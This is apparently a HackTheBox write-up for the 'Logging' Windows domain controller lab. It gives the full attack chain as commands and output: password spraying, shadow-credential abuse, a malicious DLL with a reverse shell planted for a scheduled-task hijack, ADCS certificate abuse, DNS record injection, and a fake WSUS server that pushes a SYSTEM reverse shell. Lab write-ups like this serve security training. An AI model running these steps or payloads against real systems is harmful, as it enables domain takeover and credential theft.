Skip to content

Logging Writeup - HackTheBox

Medium Windows

Created April 18, 2026 • Last updated August 8, 2026 • 7 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
139/tcp   open  netbios-ssn
389/tcp   open  ldap          Microsoft Windows AD LDAP (Domain: logging.htb)
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
636/tcp   open  ssl/ldap
3269/tcp  open  ssl/ldap
5985/tcp  open  http          Microsoft HTTPAPI (WinRM)
8530/tcp  open  http          Microsoft IIS httpd 10.0
8531/tcp  open  ssl/unknown   (CN=DC01.logging.htb)
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: DC01; OS: Windows

This is a Domain Controller for logging.htb. Ports 8530/8531 are WSUS (Windows Server Update Services). Sync the clock immediately to avoid Kerberos issues:

┌──(kali㉿kali)-[~]
└─$ sudo timedatectl set-ntp false
┌──(kali㉿kali)-[~]
└─$ sudo ntpdate $TARGET_IP

Add hosts entries:

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP logging.htb DC01.logging.htb" | sudo tee -a /etc/hosts

Initial Access

Credential Discovery , Logs Share

First credentials come from HackTheBox: wallace.everette / $WALLACE_PASSWORD. With these, enumerate LDAP and SMB:

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u wallace.everette -p '$WALLACE_PASSWORD' --users
Administrator, Guest, krbtgt, svc_recovery, jaylee.clifton, monique.chip,
kyson.abel, fable.milford, wellington.kylan, serina.philander,
wallace.everette, toby.brynleigh
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u wallace.everette -p '$WALLACE_PASSWORD' --shares
Share       Permissions
-----       -----------
IPC$        READ
Logs        READ
NETLOGON    READ
SYSVOL      READ
WSUSTemp    (no access)

The Logs share is non-standard. Download everything:

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/Logs -U wallace.everette%'$WALLACE_PASSWORD' \
-c 'recurse ON; mget *'

Four log files arrive. IdentitySync_Trace_20260219.log contains a verbose connection context dump from an identity sync service:

VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01",
  SSL: "False", BindUser: "LOGGING\svc_recovery",
  BindPass: "$SVC_RECOVERY_PASSWORD_OLD", Timeout: 30 }
ERROR - AcceptSecurityContext error, data 52e — LDAP_INVALID_CREDENTIALS

The password logged is stale (the service failed authentication with it), but the pattern is clear: the password was rotated. The pwlist.txt file in the share contains a wordlist of likely password variants. Spray against all users:

┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u users.txt -p pwlist.txt --continue-on-success

The updated password for svc_recovery matches one of the variants: $SVC_RECOVERY_PASSWORD.

Shadow Credentials → msa_health$ NT Hash

svc_recovery has STATUS_ACCOUNT_RESTRICTION on SMB and WinRM , interactive logon is blocked, but LDAP works. Get a TGT via Kerberos and use it to query the GMSA:

┌──(kali㉿kali)-[~]
└─$ impacket-getTGT logging.htb/svc_recovery:'$SVC_RECOVERY_PASSWORD'
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=svc_recovery.ccache

BloodHound shows svc_recovery has write access to msa_health$'s msDS-KeyCredentialLink attribute. Use pywhisker to add a shadow credential:

┌──(kali㉿kali)-[~]
└─$ pywhisker -d logging.htb -u svc_recovery -k \
-t 'msa_health$' --action add --dc-ip $TARGET_IP
[+] Updated the msDS-KeyCredentialLink attribute of msa_health$
[+] Saved PFX (#PKCS12) certificate & key at path: CQFHM4TB.pfx
[*] Must be used with password: $PFX_PASSWORD

Get a TGT for msa_health$ using PKINIT:

┌──(kali㉿kali)-[~]
└─$ python3 gettgtpkinit.py \
-cert-pfx CQFHM4TB.pfx -pfx-pass '$PFX_PASSWORD' \
logging.htb/'msa_health$' msa_health.ccache \
-dc-ip $TARGET_IP
AS-REP encryption key: $ASREP_KEY
Saved TGT to file

Recover the NT hash:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=msa_health.ccache
┌──(kali㉿kali)-[~]
└─$ python3 getnthash.py -key $ASREP_KEY logging.htb/'msa_health$'
Recovered NT Hash
$MSA_HEALTH_HASH

Shell as msa_health$

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u 'msa_health$' -H $MSA_HEALTH_HASH
*Evil-WinRM* PS C:\Users\msa_health$\Documents>

Lateral Movement , DLL Hijack via UpdateMonitor

Scheduled Task Analysis

A monitor.ps1 sits in the msa_health$ documents folder. It monitors the UpdateChecker Agent scheduled task via COM. Inspect that task directly:

*Evil-WinRM* PS C:\Users\Administrator\Documents> $service = New-Object -ComObject "Schedule.Service"
*Evil-WinRM* PS C:\Users\Administrator\Documents> $service.Connect()
*Evil-WinRM* PS C:\Users\Administrator\Documents> $task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Actions | ForEach-Object { $_.Path; $_.Arguments }
# "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
# 500 /scan=3 /autofix=true
$task.Definition.Principal | Select-Object *
# UserId: jaylee.clifton
# LogonType: 1

The task runs as jaylee.clifton every minute. Reverse-engineer UpdateMonitor.exe via strings:

*Evil-WinRM* PS C:\Users\Administrator\Documents> C:\ProgramData\UpdateMonitor\Settings_Update.zip
*Evil-WinRM* PS C:\Users\Administrator\Documents> C:\Program Files\UpdateMonitor\bin\settings_update.dll
*Evil-WinRM* PS C:\Users\Administrator\Documents> "Loading update applier: "
*Evil-WinRM* PS C:\Users\Administrator\Documents> "Calling 'PreUpdateCheck' in "

The binary checks for Settings_Update.zip at a writable path, extracts settings_update.dll into C:\Program Files\UpdateMonitor\bin\, then calls the exported PreUpdateCheck function. msa_health$ can write to C:\ProgramData\UpdateMonitor\:

*Evil-WinRM* PS C:\Users\Administrator\Documents> [System.IO.File]::OpenWrite("C:\ProgramData\UpdateMonitor\test.txt").Close()
*Evil-WinRM* PS C:\Users\Administrator\Documents> # succeeds

The task context runs as jaylee.clifton. This is a DLL hijack into that user's session.

Building the Malicious DLL

The binary is 32-bit , confirm with a PE header check before compiling:

*Evil-WinRM* PS C:\Users\Administrator\Documents> $bytes = [System.IO.File]::ReadAllBytes("C:\Program Files\UpdateMonitor\UpdateMonitor.exe")
*Evil-WinRM* PS C:\Users\Administrator\Documents> if ($bytes[[BitConverter]::ToInt32($bytes, 0x3c) + 4] -eq 0x8664) { "64-bit" } else { "32-bit" }
# 32-bit

Build a 32-bit DLL with a PowerShell reverse shell in the PreUpdateCheck export:

#include <windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    return TRUE;
}

__declspec(dllexport) void PreUpdateCheck() {
    system("cmd /c powershell -e <BASE64_REVERSE_SHELL>");
}
┌──(kali㉿kali)-[~]
└─$ i686-w64-mingw32-gcc -shared -o settings_update.dll settings_update.c
┌──(kali㉿kali)-[~]
└─$ zip Settings_Update.zip settings_update.dll

Upload and watch the log:

*Evil-WinRM* PS C:\Users\Administrator\Documents> upload Settings_Update.zip "C:\ProgramData\UpdateMonitor\Settings_Update.zip"
*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Wait
[2026-04-18 21:17:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-04-18 21:17:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-18 21:17:15] Calling 'PreUpdateCheck' in settings_update.dll
┌──(kali㉿kali)-[~]
└─$ rslisten tun0 $ATTACKER_PORT
listening on [$ATTACKER_IP] $ATTACKER_PORT ...
connect to [$ATTACKER_IP] from DC01
PS C:\Windows\system32>

Shell as jaylee.clifton. Grab user.txt from C:\Users\jaylee.clifton\Desktop\.

Privilege Escalation , WSUS MITM

Enumerating the WSUS Setup

PS C:\Users\Guest\Desktop> Invoke-SharpWSUS locate
# WSUS Server: https://wsus.logging.htb:8531
PS C:\Users\Guest\Desktop> net localgroup administrators
# toby.brynleigh (local admin)
# Administrator, Domain Admins, Enterprise Admins

jaylee.clifton is a member of the IT group. Checking the Windows Update registry policy:

PS C:\Users\Guest\Desktop> reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
# WUServer:       https://wsus.logging.htb:8531
# UseWUServer:    0x1

The machine trusts a WSUS server at wsus.logging.htb over HTTPS (port 8531). If we can MitM that hostname, we can push a fake update that runs as SYSTEM via PsExec.

Obtaining a Valid TLS Certificate via ADCS

jaylee.clifton can request certificates. Enumerate the CA and available templates:

┌──(kali㉿kali)-[~]
└─$ # First, get a delegation TGT on the target then convert to ccache
┌──(kali㉿kali)-[~]
└─$ # Rubeus tgtdeleg /nowrap → base64 decode → ticketConverter
┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter jaylee.kirbi jaylee.ccache
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=jaylee.ccache

Request a certificate for wsus.logging.htb using the UpdateSrv template (allows DNS SAN):

┌──(kali㉿kali)-[~]
└─$ certipy req -u 'jaylee.clifton@logging.htb' -k -no-pass \
-target dc01.logging.htb \
-ca logging-DC01-CA \
-template UpdateSrv \
-subject CN=wsus.logging.htb \
-dns wsus.logging.htb \
-out output.pfx -dc-ip $TARGET_IP
[*] Got certificate with DNS Host Name 'wsus.logging.htb'
[*] Wrote certificate and private key to 'output.pfx'

Extract the cert and key for use in the WSUS server:

┌──(kali㉿kali)-[~]
└─$ certipy cert -pfx output.pfx -nokey -out cert.crt
┌──(kali㉿kali)-[~]
└─$ certipy cert -pfx output.pfx -nocert -out key.pem
┌──(kali㉿kali)-[~]
└─$ cat cert.crt key.pem > wsus.pem

DNS Injection , Point wsus.logging.htb at the Attacker

Using dnstool.py from krbrelayx with jaylee.clifton's Kerberos ticket, add an A record pointing wsus.logging.htb to the attacker machine:

┌──(kali㉿kali)-[~]
└─$ python3 dnstool.py \
-u 'logging.htb\jaylee.clifton' -k \
-dc-ip $TARGET_IP -dns-ip $TARGET_IP \
-a add -r wsus.logging.htb -d $ATTACKER_IP -t A \
dc01.logging.htb
[+] LDAP operation completed successfully

Also add wsus.logging.htb to the attacker's /etc/hosts so the WSUS server binds correctly:

┌──(kali㉿kali)-[~]
└─$ echo "$ATTACKER_IP wsus.logging.htb" | sudo tee -a /etc/hosts

WSUS MITM with wsuks

Start the fake WSUS server using the legitimate domain-signed certificate. The payload is PsExec running a PowerShell reverse shell as SYSTEM:

┌──(kali㉿kali)-[~]
└─$ sudo wsuks \
--serve-only \
--WSUS-Server wsus.logging.htb \
--WSUS-Port 8531 \
--tls-cert wsus.pem \
-I tun0 \
-c '/accepteula -s cmd.exe /c "powershell -e <BASE64_REVERSE_SHELL>"'
[+] Received POST request: GetConfig
[+] Received POST request: GetCookie
[+] Received POST request: SyncUpdates
[+] Received POST request: GetExtendedUpdateInfo
[+] GET request for exe: PsExec64.exe
[+] GET request for exe: PsExec64.exe
┌──(kali㉿kali)-[~]
└─$ rslisten tun0 5555
listening on [$ATTACKER_IP] 5555 ...
connect to [$ATTACKER_IP] from DC01

PS C:\Users> cd toby.brynleigh\Desktop
PS C:\Users\toby.brynleigh\Desktop> cat root.txt

Root flag obtained from toby.brynleigh's desktop , the local administrator account.

References